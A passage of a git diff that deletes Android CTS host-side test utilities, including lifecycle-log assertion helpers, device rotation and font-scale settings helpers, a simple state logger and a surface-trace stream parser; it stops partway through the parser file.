-    private void removeLockCredential() throws DeviceNotAvailableException {
-        runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
-    }
-
-    /**
-     * Returns whether the lock screen is disabled.
-     * @return true if the lock screen is disabled, false otherwise.
-     */
-    private boolean isLockDisabled() throws DeviceNotAvailableException {
-        final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
-        if ("null".equals(isLockDisabled)) {
-            return false;
-        }
-        return Boolean.parseBoolean(isLockDisabled);
-
-    }
-
-    /**
-     * Disable the lock screen.
-     * @param lockDisabled true if should disable, false otherwise.
-     */
-    void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
-        runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
-    }
-
-    /**
-     * Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
-     * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
-     */
-    protected void setDeviceRotation(int rotation) throws Exception {
-        setAccelerometerRotation(0);
-        setUserRotation(rotation);
-        mAmWmState.waitForRotation(mDevice, rotation);
-    }
-
-    protected int getDeviceRotation(int displayId) throws DeviceNotAvailableException {
-        final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
-        Pattern pattern = Pattern.compile(
-                "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
-                        + "(rotation)(\\s+)(\\d+)");
-        Matcher matcher = pattern.matcher(displays);
-        while (matcher.find()) {
-            final String match = matcher.group(7);
-            return Integer.parseInt(match);
-        }
-
-        return INVALID_DEVICE_ROTATION;
-    }
-
-    private int getAccelerometerRotation() throws DeviceNotAvailableException {
-        final String rotation =
-                runCommandAndPrintOutput("settings get system accelerometer_rotation");
-        return Integer.parseInt(rotation.trim());
-    }
-
-    private void setAccelerometerRotation(int rotation) throws DeviceNotAvailableException {
-        runCommandAndPrintOutput(
-                "settings put system accelerometer_rotation " + rotation);
-    }
-
-    protected int getUserRotation() throws DeviceNotAvailableException {
-        final String rotation =
-                runCommandAndPrintOutput("settings get system user_rotation").trim();
-        if ("null".equals(rotation)) {
-            return -1;
-        }
-        return Integer.parseInt(rotation);
-    }
-
-    private void setUserRotation(int rotation) throws DeviceNotAvailableException {
-        if (rotation == -1) {
-            runCommandAndPrintOutput(
-                    "settings delete system user_rotation");
-        } else {
-            runCommandAndPrintOutput(
-                    "settings put system user_rotation " + rotation);
-        }
-    }
-
-    protected void setFontScale(float fontScale) throws DeviceNotAvailableException {
-        if (fontScale == 0.0f) {
-            runCommandAndPrintOutput(
-                    "settings delete system font_scale");
-        } else {
-            runCommandAndPrintOutput(
-                    "settings put system font_scale " + fontScale);
-        }
-    }
-
-    protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
-            throws DeviceNotAvailableException {
-        runCommandAndPrintOutput(
-                "settings put global transition_animation_scale " + animDurationScale);
-    }
-
-    protected float getFontScale() throws DeviceNotAvailableException {
-        try {
-            final String fontScale =
-                    runCommandAndPrintOutput("settings get system font_scale").trim();
-            return Float.parseFloat(fontScale);
-        } catch (NumberFormatException e) {
-            // If we don't have a valid font scale key, return 0.0f now so
-            // that we delete the key in tearDown().
-            return 0.0f;
-        }
-    }
-
-    protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
-        final String output = executeShellCommand(command);
-        log(output);
-        return output;
-    }
-
-    /**
-     * Tries to clear logcat and inserts log separator in case clearing didn't succeed, so we can
-     * always find the starting point from where to evaluate following logs.
-     * @return Unique log separator.
-     */
-    protected String clearLogcat() throws DeviceNotAvailableException {
-        mDevice.executeAdbCommand("logcat", "-c");
-        final String uniqueString = UUID.randomUUID().toString();
-        executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
-        return uniqueString;
-    }
-
-    void assertActivityLifecycle(String activityName, boolean relaunched,
-            String logSeparator) throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = verifyLifecycleCondition(activityName, logSeparator, relaunched);
-            if (resultString != null) {
-                log("***Waiting for valid lifecycle state: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
-    private String verifyLifecycleCondition(String activityName, String logSeparator,
-            boolean relaunched) throws DeviceNotAvailableException {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                logSeparator);
-        if (relaunched) {
-            if (lifecycleCounts.mDestroyCount < 1) {
-                return activityName + " must have been destroyed. mDestroyCount="
-                        + lifecycleCounts.mDestroyCount;
-            }
-            if (lifecycleCounts.mCreateCount < 1) {
-                return activityName + " must have been (re)created. mCreateCount="
-                        + lifecycleCounts.mCreateCount;
-            }
-        } else {
-            if (lifecycleCounts.mDestroyCount > 0) {
-                return activityName + " must *NOT* have been destroyed. mDestroyCount="
-                        + lifecycleCounts.mDestroyCount;
-            }
-            if (lifecycleCounts.mCreateCount > 0) {
-                return activityName + " must *NOT* have been (re)created. mCreateCount="
-                        + lifecycleCounts.mCreateCount;
-            }
-            if (lifecycleCounts.mConfigurationChangedCount < 1) {
-                return activityName + " must have received configuration changed. "
-                        + "mConfigurationChangedCount="
-                        + lifecycleCounts.mConfigurationChangedCount;
-            }
-        }
-        return null;
-    }
-
-    protected void assertRelaunchOrConfigChanged(
-            String activityName, int numRelaunch, int numConfigChange, String logSeparator)
-            throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = verifyRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange,
-                    logSeparator);
-            if (resultString != null) {
-                log("***Waiting for relaunch or config changed: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
-    private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
-            int numConfigChange, String logSeparator) throws DeviceNotAvailableException {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                logSeparator);
-
-        if (lifecycleCounts.mDestroyCount != numRelaunch) {
-            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
-                    + " time(s), expecting " + numRelaunch;
-        } else if (lifecycleCounts.mCreateCount != numRelaunch) {
-            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
-                    + " time(s), expecting " + numRelaunch;
-        } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
-            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
-                    + " onConfigurationChanged() calls, expecting " + numConfigChange;
-        }
-        return null;
-    }
-
-    protected void assertActivityDestroyed(String activityName, String logSeparator)
-            throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = verifyActivityDestroyed(activityName, logSeparator);
-            if (resultString != null) {
-                log("***Waiting for activity destroyed: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
-    private String verifyActivityDestroyed(String activityName, String logSeparator)
-            throws DeviceNotAvailableException {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                logSeparator);
-
-        if (lifecycleCounts.mDestroyCount != 1) {
-            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
-                    + " time(s), expecting single destruction.";
-        } else if (lifecycleCounts.mCreateCount != 0) {
-            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
-                    + " time(s), not expecting any.";
-        } else if (lifecycleCounts.mConfigurationChangedCount != 0) {
-            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
-                    + " onConfigurationChanged() calls, not expecting any.";
-        }
-        return null;
-    }
-
-    protected String[] getDeviceLogsForComponent(String componentName, String logSeparator)
-            throws DeviceNotAvailableException {
-        return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
-    }
-
-    protected String[] getDeviceLogsForComponents(final String[] componentNames,
-            String logSeparator) throws DeviceNotAvailableException {
-        String filters = LOG_SEPARATOR + ":I ";
-        for (String component : componentNames) {
-            filters += component + ":I ";
-        }
-        final String[] result = mDevice.executeAdbCommand(
-                "logcat", "-v", "brief", "-d", filters, "*:S").split("\\n");
-        if (logSeparator == null) {
-            return result;
-        }
-
-        // Make sure that we only check logs after the separator.
-        int i = 0;
-        boolean lookingForSeparator = true;
-        while (i < result.length && lookingForSeparator) {
-            if (result[i].contains(logSeparator)) {
-                lookingForSeparator = false;
-            }
-            i++;
-        }
-        final String[] filteredResult = new String[result.length - i];
-        for (int curPos = 0; i < result.length; curPos++, i++) {
-            filteredResult[curPos] = result[i];
-        }
-        return filteredResult;
-    }
-
-    void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
-                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
-                    0 /* destroyCount */);
-            if (resultString != null) {
-                log("***Waiting for valid lifecycle state: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
-                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
-                    0 /* destroyCount */);
-            if (resultString != null) {
-                log("***Waiting for valid lifecycle state: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString =  validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
-                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
-                    0 /* destroyCount */);
-            if (resultString != null) {
-                log("***Waiting for valid lifecycle state: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        String resultString;
-        do {
-            resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
-                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
-                    0 /* destroyCount */);
-            if (resultString != null) {
-                log("***Waiting for valid lifecycle state: " + resultString);
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-
-        assertNull(resultString, resultString);
-    }
-
-    private String validateLifecycleCounts(String activityName, String logSeparator,
-            int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
-            int destroyCount) throws DeviceNotAvailableException {
-
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                logSeparator);
-
-        if (lifecycleCounts.mCreateCount != createCount) {
-            return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
-        }
-        if (lifecycleCounts.mStartCount != startCount) {
-            return activityName + " started " + lifecycleCounts.mStartCount + " times.";
-        }
-        if (lifecycleCounts.mResumeCount != resumeCount) {
-            return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
-        }
-        if (lifecycleCounts.mPauseCount != pauseCount) {
-            return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
-        }
-        if (lifecycleCounts.mStopCount != stopCount) {
-            return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
-        }
-        if (lifecycleCounts.mDestroyCount != destroyCount) {
-            return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
-        }
-        return null;
-    }
-
-    private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
-    private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
-    private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
-    private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
-    private static final Pattern sConfigurationChangedPattern =
-            Pattern.compile("(.+): onConfigurationChanged");
-    private static final Pattern sMovedToDisplayPattern =
-            Pattern.compile("(.+): onMovedToDisplay");
-    private static final Pattern sStopPattern = Pattern.compile("(.+): onStop");
-    private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
-    private static final Pattern sMultiWindowModeChangedPattern =
-            Pattern.compile("(.+): onMultiWindowModeChanged");
-    private static final Pattern sPictureInPictureModeChangedPattern =
-            Pattern.compile("(.+): onPictureInPictureModeChanged");
-    private static final Pattern sNewConfigPattern = Pattern.compile(
-            "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
-            + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
-            + " orientation=(\\d+)");
-    private static final Pattern sDisplayStatePattern =
-            Pattern.compile("Display Power: state=(.+)");
-    private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
-    private static final Pattern sUiModeLockedPattern =
-            Pattern.compile("mUiModeLocked=(true|false)");
-
-    class ReportedSizes {
-        int widthDp;
-        int heightDp;
-        int displayWidth;
-        int displayHeight;
-        int metricsWidth;
-        int metricsHeight;
-        int smallestWidthDp;
-        int densityDpi;
-        int orientation;
-
-        @Override
-        public String toString() {
-            return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp
-                    + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
-                    + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
-                    + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
-                    + " orientation=" + orientation + "}";
-        }
-
-        @Override
-        public boolean equals(Object obj) {
-            if ( this == obj ) return true;
-            if ( !(obj instanceof ReportedSizes) ) return false;
-            ReportedSizes that = (ReportedSizes) obj;
-            return widthDp == that.widthDp
-                    && heightDp == that.heightDp
-                    && displayWidth == that.displayWidth
-                    && displayHeight == that.displayHeight
-                    && metricsWidth == that.metricsWidth
-                    && metricsHeight == that.metricsHeight
-                    && smallestWidthDp == that.smallestWidthDp
-                    && densityDpi == that.densityDpi
-                    && orientation == that.orientation;
-        }
-    }
-
-    ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator)
-            throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        ReportedSizes result;
-        do {
-            result = readLastReportedSizes(activityName, logSeparator);
-            if (result == null) {
-                log("***Waiting for sizes to be reported...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-        return result;
-    }
-
-    private ReportedSizes readLastReportedSizes(String activityName, String logSeparator)
-            throws DeviceNotAvailableException {
-        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            final Matcher matcher = sNewConfigPattern.matcher(line);
-            if (matcher.matches()) {
-                ReportedSizes details = new ReportedSizes();
-                details.widthDp = Integer.parseInt(matcher.group(2));
-                details.heightDp = Integer.parseInt(matcher.group(3));
-                details.displayWidth = Integer.parseInt(matcher.group(4));
-                details.displayHeight = Integer.parseInt(matcher.group(5));
-                details.metricsWidth = Integer.parseInt(matcher.group(6));
-                details.metricsHeight = Integer.parseInt(matcher.group(7));
-                details.smallestWidthDp = Integer.parseInt(matcher.group(8));
-                details.densityDpi = Integer.parseInt(matcher.group(9));
-                details.orientation = Integer.parseInt(matcher.group(10));
-                return details;
-            }
-        }
-        return null;
-    }
-
-    class ActivityLifecycleCounts {
-        int mCreateCount;
-        int mStartCount;
-        int mResumeCount;
-        int mConfigurationChangedCount;
-        int mLastConfigurationChangedLineIndex;
-        int mMovedToDisplayCount;
-        int mMultiWindowModeChangedCount;
-        int mLastMultiWindowModeChangedLineIndex;
-        int mPictureInPictureModeChangedCount;
-        int mLastPictureInPictureModeChangedLineIndex;
-        int mPauseCount;
-        int mStopCount;
-        int mLastStopLineIndex;
-        int mDestroyCount;
-
-        public ActivityLifecycleCounts(String activityName, String logSeparator)
-                throws DeviceNotAvailableException {
-            int lineIndex = 0;
-            for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
-                line = line.trim();
-                lineIndex++;
-
-                Matcher matcher = sCreatePattern.matcher(line);
-                if (matcher.matches()) {
-                    mCreateCount++;
-                    continue;
-                }
-
-                matcher = sStartPattern.matcher(line);
-                if (matcher.matches()) {
-                    mStartCount++;
-                    continue;
-                }
-
-                matcher = sResumePattern.matcher(line);
-                if (matcher.matches()) {
-                    mResumeCount++;
-                    continue;
-                }
-
-                matcher = sConfigurationChangedPattern.matcher(line);
-                if (matcher.matches()) {
-                    mConfigurationChangedCount++;
-                    mLastConfigurationChangedLineIndex = lineIndex;
-                    continue;
-                }
-
-                matcher = sMovedToDisplayPattern.matcher(line);
-                if (matcher.matches()) {
-                    mMovedToDisplayCount++;
-                    continue;
-                }
-
-                matcher = sMultiWindowModeChangedPattern.matcher(line);
-                if (matcher.matches()) {
-                    mMultiWindowModeChangedCount++;
-                    mLastMultiWindowModeChangedLineIndex = lineIndex;
-                    continue;
-                }
-
-                matcher = sPictureInPictureModeChangedPattern.matcher(line);
-                if (matcher.matches()) {
-                    mPictureInPictureModeChangedCount++;
-                    mLastPictureInPictureModeChangedLineIndex = lineIndex;
-                    continue;
-                }
-
-                matcher = sPausePattern.matcher(line);
-                if (matcher.matches()) {
-                    mPauseCount++;
-                    continue;
-                }
-
-                matcher = sStopPattern.matcher(line);
-                if (matcher.matches()) {
-                    mStopCount++;
-                    mLastStopLineIndex = lineIndex;
-                    continue;
-                }
-
-                matcher = sDestroyPattern.matcher(line);
-                if (matcher.matches()) {
-                    mDestroyCount++;
-                    continue;
-                }
-            }
-        }
-    }
-
-    protected void stopTestCase() throws Exception {
-        executeShellCommand("am force-stop " + componentName);
-    }
-
-    protected LaunchActivityBuilder getLaunchActivityBuilder() {
-        return new LaunchActivityBuilder(mAmWmState, mDevice);
-    }
-
-    protected static class LaunchActivityBuilder {
-        private final ActivityAndWindowManagersState mAmWmState;
-        private final ITestDevice mDevice;
-
-        private String mTargetActivityName;
-        private String mTargetPackage = componentName;
-        private boolean mToSide;
-        private boolean mRandomData;
-        private boolean mNewTask;
-        private boolean mMultipleTask;
-        private int mDisplayId = INVALID_DISPLAY_ID;
-        private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
-        private boolean mReorderToFront;
-        private boolean mWaitForLaunched;
-
-        public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState,
-                                     ITestDevice device) {
-            mAmWmState = amWmState;
-            mDevice = device;
-            mWaitForLaunched = true;
-        }
-
-        public LaunchActivityBuilder setToSide(boolean toSide) {
-            mToSide = toSide;
-            return this;
-        }
-
-        public LaunchActivityBuilder setRandomData(boolean randomData) {
-            mRandomData = randomData;
-            return this;
-        }
-
-        public LaunchActivityBuilder setNewTask(boolean newTask) {
-            mNewTask = newTask;
-            return this;
-        }
-
-        public LaunchActivityBuilder setMultipleTask(boolean multipleTask) {
-            mMultipleTask = multipleTask;
-            return this;
-        }
-
-        public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
-            mReorderToFront = reorderToFront;
-            return this;
-        }
-
-        public LaunchActivityBuilder setTargetActivityName(String name) {
-            mTargetActivityName = name;
-            return this;
-        }
-
-        public LaunchActivityBuilder setTargetPackage(String pkg) {
-            mTargetPackage = pkg;
-            return this;
-        }
-
-        public LaunchActivityBuilder setDisplayId(int id) {
-            mDisplayId = id;
-            return this;
-        }
-
-        public LaunchActivityBuilder setLaunchingActivityName(String name) {
-            mLaunchingActivityName = name;
-            return this;
-        }
-
-        public LaunchActivityBuilder setWaitForLaunched(boolean shouldWait) {
-            mWaitForLaunched = shouldWait;
-            return this;
-        }
-
-        public void execute() throws Exception {
-            StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(mLaunchingActivityName));
-            commandBuilder.append(" -f 0x20000000");
-
-            // Add a flag to ensure we actually mean to launch an activity.
-            commandBuilder.append(" --ez launch_activity true");
-
-            if (mToSide) {
-                commandBuilder.append(" --ez launch_to_the_side true");
-            }
-            if (mRandomData) {
-                commandBuilder.append(" --ez random_data true");
-            }
-            if (mNewTask) {
-                commandBuilder.append(" --ez new_task true");
-            }
-            if (mMultipleTask) {
-                commandBuilder.append(" --ez multiple_task true");
-            }
-            if (mReorderToFront) {
-                commandBuilder.append(" --ez reorder_to_front true");
-            }
-            if (mTargetActivityName != null) {
-                commandBuilder.append(" --es target_activity ").append(mTargetActivityName);
-                commandBuilder.append(" --es package_name ").append(mTargetPackage);
-            }
-            if (mDisplayId != INVALID_DISPLAY_ID) {
-                commandBuilder.append(" --ei display_id ").append(mDisplayId);
-            }
-            executeShellCommand(mDevice, commandBuilder.toString());
-
-            if (mWaitForLaunched) {
-                mAmWmState.waitForValidState(mDevice, new String[]{mTargetActivityName},
-                        null /* stackIds */, false /* compareTaskAndStackBounds */, mTargetPackage);
-            }
-        }
-    }
-
-    void tearDownLockCredentials() throws Exception {
-        if (!mLockCredentialsSet) {
-            return;
-        }
-
-        removeLockCredential();
-        // Dismiss active keyguard after credential is cleared, so
-        // keyguard doesn't ask for the stale credential.
-        pressBackButton();
-        sleepDevice();
-        wakeUpAndUnlockDevice();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
deleted file mode 100644
index 335f26c..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-import static com.android.ddmlib.Log.LogLevel.ERROR;
-
-/**
- * Util class to perform simple state logging.
- */
-public class StateLogger {
-    private static final boolean DEBUG = false;
-
-    /** Simple info-level logging gated by {@link #DEBUG} flag */
-    public static void log(String logText) {
-        if (DEBUG) {
-            CLog.logAndDisplay(INFO, logText);
-        }
-    }
-
-    public static void logE(String logText) {
-        CLog.logAndDisplay(ERROR, logText);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
deleted file mode 100644
index 8026e80..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
+++ /dev/null
@@ -1,380 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.io.ByteArrayInputStream;
-import java.io.DataInputStream;
-import java.io.IOException;
-import java.lang.System;
-import junit.framework.Assert;
-
-import static android.server.cts.StateLogger.logE;
-
-// Parses a trace of surface commands from the WM (in real time)
-// and dispenses them via the SurfaceObserver interface.
-//
-// Data enters through addOutput
-public class SurfaceTraceReceiver implements IShellOutputReceiver {
-    final SurfaceObserver mObserver;
-
-    private State mState = State.CMD;
-    private String mCurrentWindowName = null;
-    private int mArgPosition = 0;
-    private float[] mTmpFloats = new float[10];
-    private int[] mTmpInts = new int[10];
-    private Rectangle.Float mTmpRect = new Rectangle.Float();
-    private byte[] mUnprocessedBytes = new byte[16384];
-    private byte[] mFullData = new byte[32768];
-    private int mUnprocessedBytesLength;
-
-    private boolean mCancelled = false;
-
-    interface SurfaceObserver {
-        default void setAlpha(String windowName, float alpha) {}
-        default void setLayer(String windowName, int layer) {}
-        default void setPosition(String windowName, float x, float y) {}
-        default void setSize(String widnowName, int width, int height) {}
-        default void setLayerStack(String windowName, int layerStack) {}
-        default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
-        default void setCrop(String windowName, Rectangle.Float crop) {}
-        default void setFinalCrop(String windowName, Rectangle.Float finalCrop) {}
-        default void hide(String windowName) {}
-        default void show(String windowName) {}
-        default void setGeometryAppliesWithResize(String windowName) {}
-        default void openTransaction() {}
-        default void closeTransaction() {}
-    };
-
-    enum State {
-        CMD,
-        SET_ALPHA,
-        SET_LAYER,
-        SET_POSITION,
-        SET_SIZE,
-        SET_CROP,
-        SET_FINAL_CROP,
-        SET_LAYER_STACK,
-        SET_MATRIX,
-        HIDE,
-        SHOW,
-        GEOMETRY_APPLIES_WITH_RESIZE
-    };
-
-    SurfaceTraceReceiver(SurfaceObserver observer) {
-        mObserver = observer;
-    }
-
-    // Reset state and prepare to accept a new command.
-    void nextCmd(DataInputStream d) {
-        mState = State.CMD;
-        mCurrentWindowName = null;
-        mArgPosition = 0;
-
-        try {
-            // Consume the sigil
-            d.readByte();
-            d.readByte();
-            d.readByte();
-            d.readByte();
-        } catch (Exception e) {
-            logE("Exception consuming sigil: " + e);
-        }
-    }
-
-    // When the command parsing functions below are called, the window name
-    // will already be parsed. The responsibility of these functions
-    // is to parse other arguments 1 by 1 and accumlate them until the appropriate number
-    // is reached. At that point the parser should emit an event to the observer and
-    // call nextCmd
-    void parseAlpha(DataInputStream d) throws IOException {
-        float alpha = d.readFloat();
-        mObserver.setAlpha(mCurrentWindowName, alpha);
-        nextCmd(d);
-    }
-
-    void parseLayer(DataInputStream d) throws IOException {
-        int layer = d.readInt();
-        mObserver.setLayer(mCurrentWindowName, layer);
-        nextCmd(d);
-    }
-
-    void parsePosition(DataInputStream d) throws IOException {
-        mTmpFloats[mArgPosition] = d.readFloat();
-        mArgPosition++;
-        if (mArgPosition == 2)  {
-            mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
-            nextCmd(d);
-        }
-    }
-
-    void parseSize(DataInputStream d) throws IOException {
-        mTmpInts[mArgPosition] = d.readInt();
-        mArgPosition++;
-        if (mArgPosition == 2) {
-            mObserver.setSize(mCurrentWindowName, mTmpInts[0], mTmpInts[1]);
-            nextCmd(d);
-        }
-    }
-
-    // Careful Android rectangle rep is top-left-right-bottom awt is top-left-width-height
-    void parseCrop(DataInputStream d) throws IOException {
-        mTmpFloats[mArgPosition] = d.readFloat();
-        mArgPosition++;
-        if (mArgPosition == 4) {
-            mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
-                    mTmpFloats[3]-mTmpFloats[1]);
-            mObserver.setCrop(mCurrentWindowName, mTmpRect);
-            nextCmd(d);
-        }
-    }
-
-    void parseFinalCrop(DataInputStream d) throws IOException {
-        mTmpFloats[mArgPosition] = d.readInt();
-        mArgPosition++;
-        if (mArgPosition == 4) {
-            mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
-                    mTmpFloats[3]-mTmpFloats[1]);
-            mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
-            nextCmd(d);
-        }
-    }
-
-    void parseLayerStack(DataInputStream d) throws IOException {
-        int layerStack = d.readInt();
-        mObserver.setLayerStack(mCurrentWindowName, layerStack);
-        nextCmd(d);
-    }
-
-    void parseSetMatrix(DataInputStream d) throws IOException {
-        mTmpFloats[mArgPosition] = d.readFloat();
-        mArgPosition++;
-        if (mArgPosition == 4) {
-            mObserver.setMatrix(mCurrentWindowName, mTmpFloats[0],
-                    mTmpFloats[1], mTmpFloats[2], mTmpFloats[3]);
-            nextCmd(d);
-        }
-    }
-
-    void parseHide(DataInputStream d) throws IOException {
-        mObserver.hide(mCurrentWindowName);
-        nextCmd(d);
-    }
-
-    void parseShow(DataInputStream d) throws IOException {
-        mObserver.show(mCurrentWindowName);
